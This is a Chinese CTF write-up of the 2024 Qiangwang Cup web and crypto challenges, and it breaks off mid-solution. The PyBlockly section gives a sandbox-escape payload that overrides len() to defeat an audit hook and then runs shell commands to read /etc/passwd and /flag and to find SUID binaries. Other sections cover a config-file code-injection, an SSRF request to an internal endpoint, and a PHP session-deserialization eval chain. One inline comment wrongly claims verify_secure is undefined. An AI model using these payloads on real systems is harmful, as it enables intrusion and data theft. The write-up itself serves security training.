【2024】强网杯

web:

PyBlockly:

​ 网站是一个通过block的堆积木的形式编程,有两种数据类型以及四种函数,分别是正常运算,print输出,min和max功能,随便写一些代码,发现结果会回显出来。

​ 再来看看源码:

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"


def module_exists(module_name):
    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True

    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)

        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False


def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom:
                print(f"ERROR: Banned module {node.module}")
                return False
    return True


def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False


def block_to_python(block):
    block_type = block['type']
    code = ''

    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)
        code = f"print({text})"

    elif block_type == 'math_number':

        if str(block['fields']['NUM']).isdigit():
            code = int(block['fields']['NUM'])
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:

            code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':

        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code = f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code = f"min({a}, {b})"

    if 'next' in block:

        block = block['next']['block']

        code += "\n" + block_to_python(block) + "\n"
    else:
        return code
    return code


def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"

    return python_code


def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):
            with open("run.py", 'w') as f:
                f.write(code)
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"


@app.route('/')
def index():
    return app.send_static_file('index.html')


@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})


if __name__ == '__main__':
    app.run(host='0.0.0.0')

​ 一点小疑问,这个代码有啥用,为啥没执行:

def module_exists(module_name):
    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True

    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)

        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

​ 这段代码定义了一个函数 module_exists,用于检查一个指定的模块是否存在。这个函数通过几个步骤来判断模块是否存在,并且区分了内置模块、标准库模块和第三方或本地模块。下面是对这段代码的逐行解释:

  1.  def module_exists(module_name):
    

- 这行定义了一个名为 `module_exists` 的函数,它接受一个参数 `module_name`,即要检查的模块名。

2. ```
spec = importlib.util.find_spec(module_name)
  • 使用 importlib.util.find_spec 函数尝试找到名为 module_name 的模块的规格(spec)。这个函数返回一个模块规格对象,如果模块不存在,则返回 None
  1.  if spec is None:
    

- 这行检查 `find_spec` 返回的 `spec` 是否为 `None`。如果是,说明没有找到模块,执行下一行代码。

4. ```
return False
  • 如果模块不存在(specNone),函数返回 False
  1.  if module_name in sys.builtin_module_names:
    

- 这行检查 `module_name` 是否在 `sys.builtin_module_names` 列表中。`sys.builtin_module_names` 包含了所有内置模块的名称。如果 `module_name` 是内置模块,执行下一行代码。

6. ```
return True
  • 如果 module_name 是内置模块,函数返回 True
  1.  if spec.origin:
    

- 这行检查 `spec` 对象的 `origin` 属性是否存在。`origin` 属性通常包含了模块的来源路径。如果 `origin` 存在,执行下一行代码。

8. ```
std_lib_path = os.path.dirname(os.__file__)
  • 这行获取 Python 标准库的路径。os.__file__os 模块的路径,os.path.dirname 获取这个路径的目录部分,即标准库的根目录。
  1.  if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
    

- 这行检查 `spec.origin` 是否以标准库路径 `std_lib_path` 开头,并且不以当前工作目录 `os.getcwd()` 开头。这是为了确保模块是标准库的一部分,而不是当前工作目录下的模块。如果这两个条件都满足,执行下一行代码。

10. ```
 return True
  • 如果模块是标准库的一部分,函数返回 True
  1.   return False
    

- 如果模块既不是内置模块,也不是标准库模块,函数返回 `False`。

总结:这个函数通过检查模块的规格(spec),判断模块是否存在,并进一步区分模块是内置模块、标准库模块还是其他类型的模块。如果模块存在且是内置模块或标准库模块,函数返回 `True`;否则返回 `False`。

​ 问题也就出现在这里,前后我没发现有调用过这个函数,先无所谓,看看审其他的。

blockly_json函数开始,先读取参数,之后转UTF-8之后拿给json_to_python去转为python代码:

    python_code = ""
    python_code += block_to_python(block) + "\n"

​ 继续审block_to_python,这里很明显可以看出,从type里取值,如果是print,max,min,next就递归继续后面的代码或者参数,直到没有相应参数为止,之后就返回code了,当遇到text的话,就将所有的字符串进行正则比较,遇到符号就清空code参数,否则code加上去然后返回。之后就是do了,获得源码,然后执行:

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):
            with open("run.py", 'w') as f:
                f.write(code)
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

​ 这个情况感觉很像是沙箱了,不允许执行某些特定的函数,

这段代码定义了一个名为 my_audit_hook 的函数,并将其设置为 Python 解释器的审计钩子(audit hook)。审计钩子是一种机制,允许开发者在 Python 执行特定事件时插入自定义的检查或行为。这个功能在 Python 3.8 中被引入,主要用于安全目的,比如监控和限制某些潜在危险的操作。

让我们逐步解析这段代码:

  1. 函数定义

    • def my_audit_hook(event_name, arg)::定义了一个名为 my_audit_hook 的函数,它接受两个参数:event_nameargevent_name 是一个字符串,表示触发审计的事件名称;arg 是与该事件相关的附加信息,其类型和结构取决于具体的事件。
  2. 黑名单

    • blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]:定义了一个名为 blacklist 的列表,包含了一系列不希望被执行的函数或操作的名称。这些操作通常因为安全性原因而被认为是高风险的。
  3. 事件名称长度检查

    • if len(event_name) > 4: raise RuntimeError("Too Long!"):这行代码检查 event_name 的长度是否超过 4 个字符。如果是,则抛出 RuntimeError 异常,异常信息为 “Too Long!”。这个检查看起来是随意设置的,因为事件名称的长度通常与安全性无直接关联。
  4. 黑名单检查

    • 循环遍历 blacklist 列表,检查 event_name 中是否包含列表中的任何字符串。如果包含,则抛出 RuntimeError 异常,异常信息为 “No!”。这个检查旨在阻止执行黑名单中列出的高风险操作。
  5. 设置审计钩子

    • __import__('sys').addaudithook(my_audit_hook):这行代码首先动态导入 sys 模块(尽管通常直接导入 sys 模块更为常见),然后调用 sys.addaudithook 方法,将 my_audit_hook 函数设置为审计钩子。这意味着每当 Python 解释器执行一个审计事件时,my_audit_hook 函数都会被调用。

注意

  • 审计钩子是一个强大的特性,应该谨慎使用。不当的审计钩子设置可能会阻止合法的操作,导致程序无法正常运行。
  • 在实际生产环境中,对审计钩子的使用应该基于详细的安全分析和风险评估。

- 此代码示例中的长度检查和黑名单可能需要根据实际的安全需求进行调整。

​ 看上去像是一个沙箱,将代码写入文件,然后运行,捕获输出,需要逃逸:https://xz.aliyun.com/t/12647?time__1311=GqGxuDRiYiwxlrzG7DyGDcGvfoY5Qmo3x#toc-34 绕过 audit hook

def do(source_code):  
    # 定义了一个名为do的函数,它接受一个参数source_code,这个参数预期是一个包含Python源代码的字符串。  
  
    hook_code = '''  
def my_audit_hook(event_name, arg):  
    # 定义了一个审计钩子函数my_audit_hook,它接受两个参数:event_name和arg。  
    # 这个函数会在Python的审计事件发生时被调用。  
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]  
    # 定义了一个黑名单列表,包含了一些可能被认为是不安全的函数名。  
    if len(event_name) > 4:  
        # 检查事件名称的长度是否超过4个字符。  
        # 注意:这个检查可能并不直接与安全相关,它可能是一个示例或占位符。  
        raise RuntimeError("Too Long!")  
    # 如果事件名称太长,则抛出运行时错误。  
    for bad in blacklist:  
        # 遍历黑名单列表。  
        if bad in event_name:  
            # 检查事件名称是否包含黑名单中的任何字符串。  
            raise RuntimeError("No!")  
    # 如果事件名称包含黑名单中的字符串,则抛出运行时错误。  
  
__import__('sys').addaudithook(my_audit_hook)  
# 使用__import__函数动态导入sys模块,并调用其addaudithook方法注册审计钩子函数。  
  
'''  
    # 多行字符串结束,此时hook_code变量包含了上述审计钩子函数的定义和注册代码。  
  
    print(source_code)  
    # 打印传入的源代码字符串,这在调试时可能有用,但在生产环境中可能泄露敏感信息。  
  
    code = hook_code + source_code  
    # 将审计钩子代码和传入的源代码拼接在一起,形成一个完整的Python脚本。  
  
    # 注意:下面这行代码实际上并没有在后续逻辑中使用tree变量。  
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)  
    # 使用compile函数尝试将源代码编译为字节码,但实际上由于指定了ast.PyCF_ONLY_AST标志,  
    # 这行代码会返回一个AST(抽象语法树)对象而不是字节码。然而,这个AST对象并没有被后续代码使用。  
  
    try:  
        # 尝试执行以下代码块。  
        if verify_secure(tree):  
            # 调用一个名为verify_secure的函数,传入之前编译得到的AST对象(尽管这个对象并没有真正被使用)。  
            # 注意:verify_secure函数没有在代码中定义,因此这段代码在实际运行时会抛出NameError。  
            with open("run.py", 'w') as f:  
                # 打开(或创建)一个名为run.py的文件,并准备写入内容。  
                f.write(code)  
            # 将之前拼接好的代码写入run.py文件。  
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")  
            # 使用subprocess模块运行run.py脚本,捕获其标准输出,并尝试将输出解码为UTF-8字符串。  
            # 这里还设置了一个5秒的超时时间。  
            os.remove('run.py')  
            # 删除run.py文件,清理执行环境。  
            return result  
        # 如果verify_secure函数返回True(表示代码被认为是安全的),则执行上述代码块并返回执行结果。  
        else:  
            # 如果代码被认为是不安全的,则返回一条消息表示执行被中止。  
            return "Execution aborted due to security concerns."  
    except:  
        # 捕获所有异常(这是一个不推荐的做法,因为它会捕获包括编程错误在内的所有异常)。  
        os.remove('run.py')  
        # 无论发生什么异常,都尝试删除run.py文件。  
        return "Timeout!"  
    # 如果发生异常,则返回一条可能误导的消息("Timeout!"),即使异常的原因可能并不是超时。

​ 大概就这些了,先做个测试吧,半角形式似乎能绕过符号正则匹配:

{"blocks":{"languageVersion":0,"blocks":[{"type":"text","fields":{"TEXT":"';print(open("/etc/passwd").read())#"}}]}}

​ 根据上面的绕过沙箱方式,这里可以让len永久性小于1,就是重写内置函数len,构造:

';__import__('sys').modules['__main__'].__dict__['__builtins__'].__dict__['len'] = lambda x: 1

​ 之后就是读flag了:https://gtfobins.github.io/gtfobins/dd/,需要用到这个,不过不知道具体原理,估摸着应该是提权,毕竟沙箱可能没有权限(猜的,可能不对)。

​ payload:

';__import__('sys').modules['__main__'].__dict__['__builtins__'].__dict__['len'] = lambda x: 1
print(len("aaaaaa"))
__import__('os').system('ls')
__import__('os').system('LFILE=file_to_read dd if=/flag')
__import__('os').system('find / -user root -perm -4000 -print 2>/dev/null')#

#改为半角,加上\n:
';__import__('sys').modules['__main__'].__dict__['__builtins__'].__dict__['len'] = lambda x: 1\nprint(len("aaaaaa"))\n__import__('os').system('ls')\n__import__('os').system('LFILE=file_to_read dd if=/flag')\n__import__('os').system('find / -user root -perm -4000 -print 2>/dev/null')#


xiaohuanxiong:

​ 项目地址:https://github.com/forkable/xiaohuanxiong

​ 开始审计:

​ 存在admin文件夹,那估计洞可能在admin里面,先看里面:

  1. Admins有创建、管理、删除管理员用户的功能,推测可能会有洞,但实际上并没有用到这里。
  2. Areas、Authors、Banners、BaseAdmin、Books、Chapters一直到Login都没啥用,就正常的管理系统

​ 当看到Payment的时候,发现了一个重要的点:

    //支付配置文件
    public function index()
    {
        if ($this->request->isPost()) {
            $content = input('json');
            file_put_contents(App::getRootPath() . 'config/payment.php', $content);
            $this->success('保存成功');
        }
        $content = file_get_contents(App::getRootPath() . 'config/payment.php');
        $this->assign('json', $content);
        return view();
    }

​ 保存配置文件,存在文件写入的问题,写入的还是php文件,之后进入admin/payment看看,发现了这些:

在这里插入图片描述

​ 这里面写入payload即可:

在这里插入图片描述

在这里插入图片描述

flag{2db4c362-5f6f-4c81-b77e-d27ec7fcb6aa}

proxy:

​ 这段代码定义了一个使用 Gin 框架的 Go Web 服务器,它提供了两个 API 接口,分别位于 /v1/api/flag/v2/api/proxy

package main

import (
	"bytes"
	"io"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

	r.Run("127.0.0.1:8769")
}

​ 先看看/v1/api/flag:

v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

​ 读取flag文件, 然后返回输出。

/v2/api/proxy存在ssrf。直接访问flag无法访问,因此需要ssrf。

​ 正好,给了配置文件:

server {
    listen 8000;

    location ~ /v1 {
        return 403;
    }

    location ~ /v2 {
        proxy_pass http://localhost:8769;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

​ 根据proxy_set_header X-Real-IP $remote_addr;,可以确定能打ssrf。

​ /v2/api/proxy 是以json形式发包的,可以搞:

POST /v2/api/proxy HTTP/1.1
Host: 39.107.225.62:30903
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 142

{"url":"http://127.0.0.1:8769/v1/api/flag","method":"POST","headers":{"Content-Type":"application/json"},"body":"","follow_redirects":false
}

​ 响应:

HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sun, 03 Nov 2024 07:11:08 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 67
Connection: close

{"flag":"ZmxhZ3tkM2MxNzZjZC05ZjhiLTRlOWQtOWM3Yi1mYzgyZTUxYzUwOTd9"}

snake:

​ 打游戏,写个脚本去跑,先审js,发现了一些信息,比如move路由什么的,直接拿去写脚本,网上找了一圈,找到一些算法, 都改一改拿去试,最后这个能跑:

import json
import heapq
import requests
import time

# 初始方向
current_direction = 'RIGHT'
url = 'http://eci-2ze4zqdxex49cesyexgc.cloudeci1.ichunqiu.com:5000/move'

# 发送方向请求并获取游戏状态
def send_direction_and_get_state(direction):
    headers = {
        'Content-Type': 'application/json',
        'Cookie': 'session=eyJ1c2VybmFtZSI6ImcwMWRlbiJ9.ZycoKQ.BlD0y752_1q7iLu3ZVk5tsO6fKo'
    }
    data = json.dumps({"direction": direction})
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        raise Exception(f"Failed to send direction: {response.status_code}")
    print("Response:", response.json())
    return response.json()

# 计算曼哈顿距离
def heuristic(a, b):
    return abs(a[0] - b[0]) + abs(a[1] - b[1])

# A* 寻路算法
def a_star_search(start, goal, snake):
    open_set = []
    heapq.heappush(open_set, (0, start))
    came_from = {}
    g_score = {tuple(start): 0}
    f_score = {tuple(start): heuristic(start, goal)}

    while open_set:
        _, current = heapq.heappop(open_set)
        current = tuple(current)

        if current == tuple(goal):
            path = []
            while current in came_from:
                path.append(current)
                current = came_from[current]
            path.reverse()
            return path

        neighbors = [
            (current[0] + 1, current[1]),  # RIGHT
            (current[0] - 1, current[1]),  # LEFT
            (current[0], current[1] + 1),  # DOWN
            (current[0], current[1] - 1)   # UP
        ]

        for neighbor in neighbors:
            if 0 <= neighbor[0] < 20 and 0 <= neighbor[1] < 20 and list(neighbor) not in snake:
                tentative_g_score = g_score[tuple(current)] + 1
                if tuple(neighbor) not in g_score or tentative_g_score < g_score[tuple(neighbor)]:
                    came_from[tuple(neighbor)] = current
                    g_score[tuple(neighbor)] = tentative_g_score
                    f_score[tuple(neighbor)] = tentative_g_score + heuristic(neighbor, goal)
                    heapq.heappush(open_set, (f_score[tuple(neighbor)], neighbor))

    return []

# 计算下一步的方向
def calculate_next_direction(snake, food, current_direction):
    head = snake[0]
    path = a_star_search(head, food, snake)

    if path:
        next_head = path[0]
        x_diff = next_head[0] - head[0]
        y_diff = next_head[1] - head[1]

        if x_diff == 1:
            return 'RIGHT'
        elif x_diff == -1:
            return 'LEFT'
        elif y_diff == 1:
            return 'DOWN'
        elif y_diff == -1:
            return 'UP'

    # 如果找不到路径,随机选择一个安全的方向
    possible_directions = ['UP', 'DOWN', 'LEFT', 'RIGHT']
    opposite_directions = {'UP': 'DOWN', 'DOWN': 'UP', 'LEFT': 'RIGHT', 'RIGHT': 'LEFT'}

    for direction in possible_directions:
        if direction == opposite_directions[current_direction]:
            continue  # 不选择相反方向

        next_head = {
            'UP': [head[0], head[1] - 1],
            'DOWN': [head[0], head[1] + 1],
            'LEFT': [head[0] - 1, head[1]],
            'RIGHT': [head[0] + 1, head[1]]
        }[direction]

        if 0 <= next_head[0] < 20 and 0 <= next_head[1] < 20 and next_head not in snake:
            return direction

    # 如果所有方向都会导致碰撞,返回当前方向
    return current_direction

# 主循环
def main_loop():
    try:
        # 初始化游戏状态
        game_state = send_direction_and_get_state('RIGHT')
        snake = game_state['snake']
        food = game_state['food']
        score = game_state['score']
        current_direction = 'RIGHT'

        while True:
            # 计算下一步的方向
            next_direction = calculate_next_direction(snake, food, current_direction)

            # 发送方向请求并获取新的游戏状态
            game_state = send_direction_and_get_state(next_direction)
            snake = game_state['snake']
            food = game_state['food']
            new_score = game_state['score']
            status = game_state['status']

            # 更新方向
            current_direction = next_direction

            # 打印当前状态
            print(f"Current direction: {next_direction}, Snake: {snake}, Food: {food}, Score: {new_score}")

            if status != 'ok':
                print(f"Game over with status: {status}")
                break

    except KeyboardInterrupt:
        print("程序已退出")

if __name__ == "__main__":
    main_loop()

​ 最后得到了这个:

Response: {'status': 'win', 'url': '/snake_win?username=g01den'}

​ 之后访问这个路由,感觉怪怪的,没有flag,发现username的参数直接被打印了,测一测ssti,失败了,完蛋。或者说,试试看sql注入,能成功,最后找到了列数:

在这里插入图片描述

​ 能出,不过,我不理解为啥这里也能出ssti?请看VCR:

在这里插入图片描述

​ 这个源码层面咋实现的?有点刁钻了,算了,直接嗦(这里被当作html执行了,所以看不到):

在这里插入图片描述

在这里插入图片描述

​ 得到flag。

platform(复现):

​ www.zip泄露,index:

<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $_SESSION['user'] = $username;

    if (!isset($_SESSION['session_key'])) {
        $_SESSION['session_key'] =$SessionRandom -> generateRandomString();
    }
    $_SESSION['password'] = $password;
    $result = $sessionManager->filterSensitiveFunctions();
    header('Location: dashboard.php');
    exit();
} else {
    require 'login.php';
}

​ 存在session_start();,估摸着有session反序列化,先记录下。

class SessionRandom {

    public function generateRandomString() {
    $length = rand(1, 50);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
    }
}

['session_key']长度是1到50随机的。

public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }

​ 这里也有点儿重要,有读取->替换->写入,并且是操作session的文件,感觉是字符逃逸,变少的那种。

​ 这里存在eval函数,需要直接对其进行反序列化,然后触发__destruct.

class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

​ 现在就是看看触发反序列化的方法。大佬们说,可以通过追加写入,大佬用的是password数组去逃逸的,这里具体原理不是很懂,反正有附件,先记录下,之后捣鼓:

在这里插入图片描述

在这里插入图片描述

Crypto:

eazyrsa:

# encoding:utf-8
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert, is_prime
import sys
import multiprocessing as mp

# 定义常量
N = mpz(
    '67962725468240199924103144864951334845750492508509360358636648068909779932072313362607631417524914992411826230276465100489023746209605790020210412575433464887238013738989770872867041592441153421617243161413094177629581581728221687772551567927241071007480087793370382177952900925657974338348428988433092737432689512506966089398873760401212521089061934975582692308605433023613521500237258699626587149952370997420510392932840377408736864097301789914658244266522930092113493152991783027162871212338968297436073316959569822974289536559300512091342692975133379473145882007983357289924135373382264527866381118893476257705939')
# g是一个500位数,且g整除p-1和q-1
g = mpz(
    '3235645591686044532495326878291617484542045511433360748778013933565021819649890342389737893735574764418484922895778834144345295691799766302763199373647')
e = 65537
C = mpz(
    '7918937034819399210460701361082120267249016865135589044938397478179178418982216265766430882604707450651405790878761026681351233717846491757101684210544361607883043938000941498442897699091016071609425252346011280078699567193949155766516051130050592046343488075564740812480634431357869210712013396437065989799117830247228129120071415956115563715118301273810713118159274551107354918579047901176471910532333125717712607469726900731370186233984133546278420585661042017307325998441634272568791745798269084955686428143476025911093137683806174746625559312685862694783475952178855060639359433340135424849663386199035593137765')

# 计算辅助变量,使用整数除法 //
h = (N - 1) // g
u = h // g
v = h % g


def worker_search(params):
    """
    工作进程函数,用于在指定的r和s范围内搜索c_exponent。
    """
    r_start, r_end, s_start, s_end, D, b, final, N = params
    for r in range(r_start, r_end):
        target_exponent = r * D
        for s in range(s_start, s_end):
            c_exponent = target_exponent + s
            current = powmod(b, c_exponent, N)
            if current == final:
                return c_exponent
    return None


def solve_c_parallel(num_processes=4, D_multiplier=2):
    """
    使用多进程并行化搜索c,使得 b^c ≡ final mod N。
    """
    sqrt_N = iroot(N, 2)[0]
    C_approx = sqrt_N // (g * g)

    b = powmod(2, g, N)
    final = powmod(b, u, N)

    for i in range(2, int(C_approx) + 1):
        # 计算D
        D_root, is_exact = iroot(C_approx, 2)
        D = (D_root + 1) * i

        # 定义r和s的搜索范围,并将r的范围划分为多个块以并行处理
        step = D // num_processes if D > num_processes else 1
        tasks = []
        for p in range(num_processes):
            r_start = p * step
            r_end = (p + 1) * step if p < num_processes - 1 else D
            s_start = 0
            s_end = D
            params = (r_start, r_end, s_start, s_end, D, b, final, N)
            tasks.append(params)

        # 创建进程池并分配任务
        with mp.Pool(processes=num_processes) as pool:
            results = pool.map(worker_search, tasks)

        # 检查是否有任何工作进程找到了c_exponent
        for res in results:
            if res is not None:
                print(f"Solution found: c = {res}")
                return res
    return None


def main():
    c = solve_c_parallel()
    if c is not None:
        print("c:", c)

        # 计算A和B
        A = u - c
        B = v + c * g

        # 求解二次方程x^2 - Bx + A = 0
        discriminant = B * B - 4 * A
        sqrt_discriminant, is_perfect_square = iroot(discriminant, 2)
        if not is_perfect_square or sqrt_discriminant * sqrt_discriminant != discriminant:
            print("判别式不是完全平方数。")
            sys.exit(1)

        x = (B + sqrt_discriminant) // 2
        y = (B - sqrt_discriminant) // 2

        # 计算a和b
        a_val = x // 2
        b_val = y // 2

        # 计算p和q
        p = 2 * g * a_val + 1
        q = 2 * g * b_val + 1

        # 验证p和q是否为素数
        if not is_prime(p):
            print("p 不是素数。")
            sys.exit(1)
        if not is_prime(q):
            print("q 不是素数。")
            sys.exit(1)

        # 计算phi(N)
        phi_N = (p - 1) * (q - 1)

        # 计算私钥指数d
        try:
            d = invert(e, phi_N)
        except ZeroDivisionError:
            print("e与phi(N)不互质,无法找到逆元。")
            sys.exit(1)

        # 解密密文
        m = powmod(C, d, N)
        decrypted_message = long_to_bytes(m)

        print("解密消息:", decrypted_message)
    else:
        print("未找到c的解。")


if __name__ == '__main__':
    main()

Solution found: c = 51589121
c: 51589121
解密消息: b’flag{bf82d1cd-67b1-42bd-a7b5-f119f0246dfe}’

有原题

https://f61d.github.io/crypto/RSA/huwangbei2019_Crypto1/

apbq:

第一部分

ϕ=n1−h1+1=p×q−(p+q)+1=(p−1)(q−1)

from Crypto.Util.number import long_to_bytes
from gmpy2 import gmpy2

hint1 = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
n1,e1 = (89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589, 65537)
c1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
phi = n1-hint1+1
d = gmpy2.invert(e1,phi)
m = pow(c1,d,n1)
flag1 =long_to_bytes(m)
print(flag1)
#b'flag{yOu_can_'

第二部分

想办法因式分解一个RSA模数 𝑛=𝑝×𝑞n=p×q

先求出p,q

然后定格矩阵
DownUniderCTF 2023相似

https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/crypto/apbq-rsa-ii/solve/solv.sage

import itertools
from Crypto.Util.number import long_to_bytes

# n, c, hints
c = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244

